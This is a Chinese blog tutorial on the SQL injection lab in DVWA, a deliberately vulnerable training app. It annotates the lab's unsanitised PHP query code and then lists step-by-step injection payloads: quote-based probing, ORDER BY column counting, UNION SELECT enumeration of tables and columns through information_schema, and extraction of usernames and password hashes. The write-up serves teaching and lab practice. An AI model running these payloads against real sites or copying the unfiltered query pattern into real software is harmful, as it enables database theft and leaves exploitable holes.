python sql注入原理_SQL注入 DVWA源码解读之SQL Injection

本文详细解读DVWA中的SQL Injection漏洞,通过PHP代码分析展示了如何利用Python SQL注入原理进行攻击。介绍了注入流程、字段判断、信息探测等步骤,并提供实战操作示例。
摘要由CSDN通过智能技术生成

一切外成之下只并到有价值,武器、女人、秘密,甚至灵魂。

涉及知识

涉及到了php+html+mysql的一些基础知识,建议先阅读完之前的相关文章,若有基础可跳过。

为了方便下载,已经保存到当前服务器下

Low级别

代码解读

User ID:

这个是一个表单,提交方式为GET,传递过去的数据的名字为id,表单按钮属性名为submit。

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// 用REQUESTS获取表单数据,表单属性名为sunbit,然后判断是否存在,存在就执行下面的代码

$id = $_REQUEST[ 'id' ];

// 用REQUESTS获取表单数据,传递过来的数据名为id,这里重新定义一个变量id获取到传入的数据

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 数据库查询语句,按照传入的id的数据,从数据库查询first_name, last_name的值

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )

or die( '

' . ((is_object($GLOBALS["___mysqli_ston"]))

? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error())

? $___mysqli_res : false)) . '

' );

// 变量result存储获取到的数据

// mysqli_query() 函数执行某个针对数据库的查询,这里之前就设置好数据库为dvwa的数据库

// ___mysqli_ston为数据库连接语句,在别的地方定义好了,这里取全局变量

// 接下来连接数据库然后判断是否连接成功

// die()函数输出一条语句然后退出

// 一个三元判断,如果执行了那条sql语句就返回真

while( $row = mysqli_fetch_assoc( $result ) ) {

$first = $row["first_name"];

$last = $row["last_name"];

// 这里打印输出结果

echo "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

mysqli_close($GLOBALS["___mysqli_ston"]);

// 关闭数据库连接

}

?>

这个php文件处理那个表单传递过来的数据,然后返回结果,其中执行查询的代码对来自客户端的参数id没有进行任何的检查与过滤。

实战演示

这是我总结的注入大致流程,常规的注入按照此流程进行能有个头绪。

48561f108f07c1447a582abcce5064dc.png

如果对流程还有一些疑惑或者对数据库查询不清楚请先阅读此文章SQL注入基础笔记

正常打开

输入1,然后点击按钮,此时回显

ID: 1

First name: admin

Surname: admin

f776f013c86cc8864cce2d47c2eb03cc.png

判读是否存在注入

输入1‘,这个时候页面报错了,根据返回的结果判断存在注入。

45be6e82ce84f5bd8a8bc6b06b90d394.png

判断有多少个字段

使用order by获取字段数,但是如果输入-1’ order by 5这样会报错。这个时候查看源码

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

可以看到$id的值是被引号包围起来,也就是说明查询的$id类型是字符串型。如何通过注入来判断传递查询的$id是字符串还是数字类型呢?

可以这么做,输入1’ or 1=1’ 这个时候页面报错了,然后输入1’ or ‘1’=’1,这个时候页面打印了所有的数据。

d38a1004f5d1117b55822a861f43a38c.png

说明传入的参数是字符串类型的时候才可以被带入SQL语句执行查询。

为什么要加上单引号呢?继续回到刚刚那条SQL语句,看到这里user_id = ‘$id’,发现有个单引号吧$id包围起来,如果我输入1的话,传递过去就变成了user_id = ‘1’,如果我传入1’ or ‘1’=’1的话,就变成了user_id = ‘1’ or ‘1’=’1’,这个时候整条SQL语句就变成了

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';"

where后面的条件就变成了下面两个,or的意思就是只要其中一个条件满足就执行。

因为’1’=’1’是永远为真的,所以这个时候就相当于执行了下面这条语句

$query = "SELECT first_name, last_name FROM users;"

这个时候我输入999’ or ‘1’=’1一样也可以获取到所有的数据哦~

使用order by 获取字段数的时候,让前面的语句报错然后执行后面的自定义好的SQL语句。

输入 -1’ order by 5#,这个时候页面报错了。

52217b47228b2a05ffe5d789162d0954.png

原因是因为把构造好的语句带入了SQL查询,这个时候查询的SQL语句就变成了这样

$query = "SELECT first_name, last_name FROM users WHERE user_id = '-1' order by 5 #';"

之前说过#在MYSQL中是注释的意思,加上#就相当于把后面的单引号注释掉了,万能密码也是这个原理。

输入-1’ order by 4#报错,输入-1’ order by 3#报错,输入-1’ order by 2#页面正常,说明存在两个字段名。

寻找字段中可以使用的字段类型

输入 -1’ union select 1,2#

5a1fb7b46d1e051a667a1d05eb622833.png

使用联合查询判断,发现字段1,2都可以显示出来。

探测一些信息

输入 -1’ union select user(),database()#

获取到了当前用户和当前数据库名

6adedae3b225c314999cb6c8c2af379f.png

打印该数据库下的所有表名

输入

-1' union select 1,group_concat(TABLE_NAME,0x3c2f62723e) from information_schema.TABLES where TABLE_SCHEMA='dvwa'#

显示结果

d36a3e5971e8fe5c35bcf340719a904f.png

可以看到这个数据库下面有两张表,users与guestbook

获取这个表中的所有字段

打算获取users这个表的所有字段名

输入

-1' union select 1,group_concat(column_NAME,0x3c2f62723e) from information_schema.columnS where TABLE_name='users'#

显示结果

3fa4acfbe1aa4d1793ab62626a1f79ff.png

可以看到里面的字段名了,然后直接获取数据即可

获取数据

输入

-1' union select 1,group_concat(user,0x3c2f62723e,password) from users#

显示结果

7298c15ce891eba1abbeaf1c36f131b7.png

总结

关于这种没有任何过滤,限制防护的注入,只需要先判断传递参数的类型,然后按照流程一步一步来注入即可,注意的是,注入方法不仅仅只有我上面的一种,查询字段数还可以用1′ or 1=1 order by 3 #,获取信息union slect联合查询使用1′ union select 1,database() #,主要是先把知识积累好,然后灵活运用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值